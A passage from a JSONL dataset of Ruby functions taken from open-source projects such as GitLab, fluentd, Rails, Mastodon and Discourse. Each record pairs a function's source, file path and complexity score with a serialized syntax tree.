end","complexity_score":71.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jobs\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage_idx\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stages\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stage\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_failure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"when\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"when\"]}]},{\"type\":\"str\",\"children\":[\"on_success\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"coverage_regex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"coverage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_variables\"]},{\"type\":\"send\",\"children\":[null,\"transform_to_array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_variables\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_variables_inheritance\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root_variables_inheritance\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"needs_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"needs\"]},{\"type\":\"sym\",\"children\":[\"job\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interruptible\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interruptible\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"except\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rules\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rules\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cache\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_group_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resource_group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheduling_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheduling_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id_tokens\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id_tokens\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"execution_config\"]},{\"type\":\"send\",\"children\":[null,\"build_execution_config\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"image\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"services\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"services\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_failure_criteria\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_failure_criteria\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"artifacts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"artifacts\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependencies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dependencies\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cross_dependencies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"needs\"]},{\"type\":\"sym\",\"children\":[\"cross_dependency\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before_script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"manual_confirmation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"manual_confirmation\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_script\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after_script\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hooks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hooks\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_group_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resource_group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parallel\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"instance\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_in\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"trigger\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bridge_needs\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"needs\"]},{\"type\":\"sym\",\"children\":[\"bridge\"]}]},\"first\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"release\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"release\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"publish\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"publish\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pages\"]}]}]}]},\"compact\"]}]}]},\"compact\"]}]}]}","id":"370886ea-7abb-4c0c-a3dd-cfcc3d08682f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/rpc.rb","start_line":22,"raw_source":"def initialize(endpoint, log)\n        m = endpoint.match(/^\\[?(?<host>[0-9a-zA-Z:\\-\\.]+)\\]?:(?<port>[0-9]+)$/)\n        raise Fluent::ConfigError, \"Invalid rpc_endpoint: #{endpoint}\" unless m\n        @bind = m[:host]\n        @port = m[:port]\n        @log = log\n\n        @server = WEBrick::HTTPServer.new(\n          BindAddress: @bind,\n          Port: @port,\n          Logger: WEBrick::Log.new(STDERR, WEBrick::Log::FATAL),\n          AccessLog: [],\n        )\n      end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"endpoint\"]},{\"type\":\"arg\",\"children\":[\"log\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"endpoint\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\[?(?<host>[0-9a-zA-Z:\\\\-\\\\.]+)\\\\]?:(?<port>[0-9]+)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid rpc_endpoint: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@bind\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"lvar\",\"children\":[\"log\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WEBrick\"]},\"HTTPServer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"BindAddress\"]},{\"type\":\"ivar\",\"children\":[\"@bind\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Port\"]},{\"type\":\"ivar\",\"children\":[\"@port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WEBrick\"]},\"Log\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"STDERR\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WEBrick\"]},\"Log\"]},\"FATAL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"AccessLog\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}","id":"c82a2959-a8d2-4f67-9311-f780f9093bad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/capybara_helpers.rb","start_line":46,"raw_source":"def clear_browser_session\n    page.driver.browser.manage.delete_cookie('_gitlab_session')\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_browser_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"browser\"]},\"manage\"]},\"delete_cookie\",{\"type\":\"str\",\"children\":[\"_gitlab_session\"]}]}]}","id":"fb34a8c1-a01d-44c2-8348-1076f6135ffb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_post_topic_bookmark_base_serializer.rb","start_line":54,"raw_source":"def slug\n    topic.slug\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"slug\"]}]}","id":"b9c076a9-5f4f-4401-8581-beab967c7b54"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb","start_line":22,"raw_source":"def render(&block)\n          render_collection_for(CheckBoxBuilder, &block)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"render_collection_for\",{\"type\":\"const\",\"children\":[null,\"CheckBoxBuilder\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"2828a9c6-3a89-4394-8681-fba33003ec0e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/rule_serializer.rb","start_line":10,"raw_source":"def translations\n    object.translations.to_h do |translation|\n      [translation.language, { text: translation.text, hint: translation.hint }]\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"translations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"translations\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"translation\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"language\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation\"]},\"hint\"]}]}]}]}]}]}","id":"1de9b7c0-a08a-4357-a503-ebbc784dff43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/active_session.rb","start_line":237,"raw_source":"private_class_method def self.load_raw_session(raw_session)\n    return unless raw_session\n\n    if raw_session.start_with?('v2:')\n      session_data = Gitlab::Json.parse(raw_session[3..]).symbolize_keys\n      # load only known attributes\n      session_data.slice!(*ATTR_ACCESSOR_LIST.union(ATTR_READER_LIST))\n      new(**session_data)\n    else\n      # Deprecated legacy format. To be removed in 15.0\n      # See: https://gitlab.com/gitlab-org/gitlab/-/issues/30516\n      # Explanation of why this Marshal.load call is OK:\n      # https://gitlab.com/gitlab-com/gl-security/product-security/appsec/appsec-reviews/-/issues/124#note_744576714\n      session_data = ActiveSupport::Cache::SerializerWithFallback[:marshal_7_1].load(raw_session)\n      session_data.is_a?(ActiveSupport::Cache::Entry) ? session_data.value : session_data\n    end\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_raw_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_session\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_session\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"v2:\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_session\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[3]},null]}]}]},\"symbolize_keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_data\"]},\"slice!\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ATTR_ACCESSOR_LIST\"]},\"union\",{\"type\":\"const\",\"children\":[null,\"ATTR_READER_LIST\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_data\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"SerializerWithFallback\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"marshal_7_1\"]}]},\"load\",{\"type\":\"lvar\",\"children\":[\"raw_session\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"Entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_data\"]},\"value\"]},{\"type\":\"lvar\",\"children\":[\"session_data\"]}]}]}]}]}]}]}","id":"35df82ee-d0de-4d35-8ffd-7d6313ade741"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/find_return_value.rb","start_line":152,"raw_source":"def make_return_value\n    @return_values.compact!\n    @return_values.uniq!\n\n    if @return_values.empty?\n      Sexp.new(:nil)\n    elsif @return_values.length == 1\n      @return_values.first\n    else\n      @return_values.reduce do |value, sexp|\n        make_or value, sexp\n      end\n    end\n  end","complexity_score":13.83,"ast_json":"{\"type\":\"def\",\"children\":[\"make_return_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_values\"]},\"compact!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_values\"]},\"uniq!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_values\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"nil\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_values\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_values\"]},\"first\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@return_values\"]},\"reduce\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"sexp\"]}]},{\"type\":\"send\",\"children\":[null,\"make_or\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"sexp\"]}]}]}]}]}]}]}","id":"3f8c1307-9889-4489-ab67-dccb96ebe462"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/log_subscriber.rb","start_line":124,"raw_source":"def filter(name, value)\n        ActiveRecord::Base.inspection_filter.filter_param(name, value)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"inspection_filter\"]},\"filter_param\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"47babd07-d2c5-4903-a3cd-acae9dfbf4ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":225,"raw_source":"def groups_projects_more_actions_dropdown_data(source)\n    model_name = source.model_name.to_s.downcase\n    dropdown_data = {\n      is_group: source.is_a?(Group).to_s,\n      id: source.id\n    }\n\n    return dropdown_data unless current_user\n\n    if source.is_a?(Group)\n      dropdown_data[:can_edit] = can?(current_user, :admin_group, source).to_s\n      dropdown_data[:edit_path] = edit_group_path(source)\n    else\n      dropdown_data[:can_edit] = can?(current_user, :admin_project, source).to_s\n      dropdown_data[:edit_path] = edit_project_path(source)\n    end\n\n    if can?(current_user, :\"destroy_#{model_name}_member\", source.members.find_by(user_id: current_user.id)) # rubocop: disable CodeReuse/ActiveRecord -- we need to fetch it\n      dropdown_data[:leave_path] = polymorphic_path([:leave, source, :members])\n      dropdown_data[:leave_confirm_message] = leave_confirmation_message(source)\n    elsif source.requesters.find_by(user_id: current_user.id) # rubocop: disable CodeReuse/ActiveRecord -- we need to fetch it\n      requester = source.requesters.find_by(user_id: current_user.id) # rubocop: disable CodeReuse/ActiveRecord -- we need to fetch it\n      if can?(current_user, :withdraw_member_access_request, requester)\n        dropdown_data[:withdraw_path] = polymorphic_path([:leave, source, :members])\n        dropdown_data[:withdraw_confirm_message] = remove_member_message(requester)\n      end\n    elsif source.request_access_enabled && can?(current_user, :request_access, source)\n      dropdown_data[:request_access_path] = polymorphic_path([:request_access, source, :members])\n    end\n\n    dropdown_data\n  end","complexity_score":74.8,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_projects_more_actions_dropdown_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"model_name\"]},\"to_s\"]},\"downcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dropdown_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"can_edit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_group\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"edit_path\"]},{\"type\":\"send\",\"children\":[null,\"edit_group_path\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"can_edit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_project\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"edit_path\"]},{\"type\":\"send\",\"children\":[null,\"edit_project_path\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"destroy_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"